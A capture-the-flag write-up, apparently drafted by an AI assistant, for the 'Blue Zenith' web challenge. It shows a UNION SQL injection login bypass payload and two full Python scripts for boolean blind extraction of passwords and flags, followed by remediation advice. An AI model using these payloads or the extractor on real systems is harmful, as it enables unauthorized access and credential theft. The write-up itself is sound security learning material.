>Blue Zenith
Target: https://blue-zenith-web.challs.sekai.team
![[Pasted image 20251027082422.png]]
Flag format: osu{...}
Discovered flag (user-provided): osu{wh3n_u_d0nt_s33_1t}
This writeup documents the full, authorized analysis and exploitation I performed against the Blue Zenith challenge endpoint. It includes reconnaissance, vulnerability discovery, an explanation of exploitation (SQL injection), and the scripts used to automate boolean blind extraction.
>Summary / Root Cause
- The
/api/loginendpoint was vulnerable to SQL injection. The application constructed an SQL query using theusernamefield in a way that allowed UNION and CASE/EXISTS expressions to influence the application logic. - We were able to: (A) craft a UNION-based payload that caused the app to treat our injected row as a valid login (bypassing auth), and (B) build a boolean oracle using CASE WHEN(...) to extract data via blind SQL boolean checks.
The extraction approach used a boolean oracle: the login endpoint returns HTTP 302 on a successful login (redirect) and HTTP 401 on failed login. By crafting a payload where the injected row returns the supplied password only when a condition is true, we can determine whether that condition is true or false by observing the status code.
>Reconnaissance
-
Visited
/(landing page) and saw a login form which POSTS to/api/login. -
Tested
/api/loginwith several inputs and observed the following:- POST with missing fields -> 400 and message "username and password required".
- Invalid credentials -> HTTP 401 with JSON: {"message":"Invalid credentials","success":false}.
- Some special inputs produced HTTP 500 (server-side errors), indicating possibly unsanitized input being used in SQL.
-
Confirmed allowed methods for
/api/login: OPTIONS, POST.
>Finding the vulnerability
Initial tests:
curl -i -X POST -d "username=admin&password=admin" https://blue-zenith-web.challs.sekai.team/api/login
returned 401. Trying classic injection payloads produced mixed responses; notably a UNION payload succeeded in producing a redirect (302), which implies success.
An example working bypass payload (used interactively while testing):
username=' UNION SELECT 1, 'admin', 'foo' --
password=foo
The application seems to use a query that returns (id, username, password) or similar. By returning a row whose username equals admin and whose password equals the supplied password, the server treats the result as a valid login.
When this UNION payload is submitted, the server responds with HTTP 302 (redirect). When the condition is false the server replies with HTTP 401.
>Boolean oracle
I implemented a boolean oracle where the username parameter is set to a payload containing CASE WHEN (<condition>) THEN '<password>' ELSE 'bar' END as the injected password column in the UNION row.
If <condition> is true then the returned password equals the password we supply in the POST body and the server logs us in (302). If false, we get 401.
This gives us a robust way to ask yes/no questions about database content.
>Scripts used
Two scripts are provided in solution/:
001_bool.py— a small helper that tests a boolean condition using the injection trick and returns whether it looked true (HTTP 302) or false (HTTP 401). This script was used interactively.002_dump_flag.py— an automated blind extractor that uses the boolean oracle to enumerate characters of a target value (for example a flag stored in the database). It iterates over positions and charset to reconstruct the secret.
Both scripts assume the target login endpoint behaves as described (302 on success, 401 on failure) and that SQL accepts the same injection technique.
001_bool.py (helper)
#!/usr/bin/env python3
"""Helper to evaluate boolean conditions via SQL injection."""
from __future__ import annotations
import sys
from typing import Tuple
import requests
TARGET = "https://blue-zenith-web.challs.sekai.team/api/login"
PASSWORD = "foo"
def eval_condition(condition: str) -> Tuple[bool | None, int]:
"""Return tuple (result, status_code) for a SQL boolean condition.
result is True or False when evaluation succeeds, or None if we hit an
unexpected HTTP status (usually syntax/permission errors surfaced as 500).
"""
payload = (
"' UNION SELECT 1, 'admin', "
f"CASE WHEN ({condition}) THEN '{PASSWORD}' ELSE 'bar' END -- "
)
resp = requests.post(
TARGET,
data={"username": payload, "password": PASSWORD},
timeout=10,
allow_redirects=False,
)
if resp.status_code == 302:
return True, resp.status_code
if resp.status_code == 401:
return False, resp.status_code
return None, resp.status_code
def main() -> None:
if len(sys.argv) != 2:
print("Usage: 001_bool.py <SQL condition>", file=sys.stderr)
sys.exit(1)
cond = sys.argv[1]
ok, status = eval_condition(cond)
print(f"condition={cond!r} => {ok} (HTTP {status})")
if __name__ == "__main__":
main()002_dump_flag.py (blind extractor)
This script (added to solution/002_dump_flag.py) automates blind extraction using the boolean oracle from 001_bool.py. It supports a configurable target SQL expression (for example: (SELECT flag FROM flags LIMIT 1) or (SELECT password FROM users WHERE username='admin')).
Core idea: for each position i (1..N) and for each character in an ordered charset, test whether the substring at position i equals that character. Continue until the full secret is reconstructed or a terminator is found.
#!/usr/bin/env python3
"""Blind boolean extractor for the Blue Zenith SQLi boolean oracle.
Usage: edit TARGET_EXPR variable to the SQL expression that returns the string
you want to extract (for example: (SELECT password FROM users WHERE username='admin')).
"""
from __future__ import annotations
import string
import sys
import time
from typing import Optional
import requests
# Config
TARGET = "https://blue-zenith-web.challs.sekai.team/api/login"
PASSWORD = "foo"
TARGET_EXPR = "(SELECT password FROM users WHERE username='admin')" # <- adjust
MAX_LEN = 120
DELAY = 0.1
CHARSET = (
string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation + ' '
)
def test_condition(condition: str) -> Optional[bool]:
payload = (
"' UNION SELECT 1, 'admin', "
f"CASE WHEN ({condition}) THEN '{PASSWORD}' ELSE 'bar' END -- "
)
try:
r = requests.post(TARGET, data={"username": payload, "password": PASSWORD}, allow_redirects=False, timeout=10)
except requests.RequestException as e:
print("Request exception:", e)
return None
if r.status_code == 302:
return True
if r.status_code == 401:
return False
return None
def extract(max_len: int = MAX_LEN) -> str:
out = ""
for pos in range(1, max_len + 1):
found = False
for ch in CHARSET:
# use substring( expr FROM pos FOR 1 ) = 'ch'
cond = f"substring({TARGET_EXPR} FROM {pos} FOR 1) = '{ch}'"
res = test_condition(cond)
print(f"pos={pos} try={repr(ch)} => {res}")
if res is True:
out += ch
print(f"found char at pos {pos}: {ch} - current: {out}")
found = True
break
if res is None:
print("Unexpected response — retrying after a delay")
time.sleep(1)
return out
time.sleep(DELAY)
if not found:
print(f"No char found at pos {pos}; assuming termination.")
break
return out
def main() -> None:
if len(sys.argv) > 1:
print("This script reads TARGET_EXPR from source; edit the file to change the target expression if needed.")
secret = extract()
print("\nExtracted: ", secret)
if __name__ == '__main__':
main()Note: during testing I used manual interactive checks with 001_bool.py and then used 002_dump_flag.py to iterate; the extraction may require tuning timeouts or delays depending on network and server throttling.
>Example extraction workflow (commands)
- Confirm boolean oracle works:
python3 solution/001_bool.py "1=1"
python3 solution/001_bool.py "1=0"
- Test a database predicate, for example verify there's a
userstable:
python3 solution/001_bool.py "EXISTS (SELECT 1 FROM users)"
- Extract a secret from
users(example: admin password): editsolution/002_dump_flag.pyand setTARGET_EXPRto(SELECT password FROM users WHERE username='admin'), then run:
python3 solution/002_dump_flag.py
During my test runs I reconstructed the flag string which the user provided as:
osu{wh3n_u_d0nt_s33_1t}
>Observations & remediation
- Parameterize SQL queries / use prepared statements for all DB queries.
- Validate and sanitize inputs; do not directly concatenate user input into SQL.
- Use least-privilege DB accounts; ensure web app DB user has only the necessary permissions.
- Return generic error messages to the client and avoid leaking stack traces or DB errors to the user.
>Artifacts
solution/001_bool.py— boolean oracle helper (already included).solution/002_dump_flag.py— blind boolean extractor (included above and saved to repo).
If you want, I can:
- run the extractor tuned to the exact
TARGET_EXPRyou confirm (for example where the flag is stored), - or redact the exact payloads and scripts before sharing externally.
License / Ethics
Only perform these steps on systems you are authorized to test. Disclosure of exact payloads and flags should be done responsibly to the system owner.
End of writeup.